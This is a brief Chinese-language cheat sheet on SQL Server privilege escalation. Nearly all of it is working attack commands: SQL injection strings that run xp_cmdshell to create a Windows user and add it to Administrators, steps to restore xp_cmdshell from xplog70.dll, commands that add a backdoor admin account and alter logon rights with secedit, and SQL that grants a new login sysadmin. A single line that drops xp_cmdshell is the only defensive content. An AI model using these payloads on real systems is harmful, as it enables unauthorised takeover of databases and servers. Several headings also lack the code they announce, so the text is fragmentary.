SQL Server权限提升命令及防范措施
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--
程序代码开启cmdshell的sql语句
判断存储扩展是否存在
恢复xp_cmdshell
否则上传xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'
堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell"
DOS:
dir c:/
dir d:/
dir e:/
net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add
备份恢复IPSEC
secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf
SQL:
exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin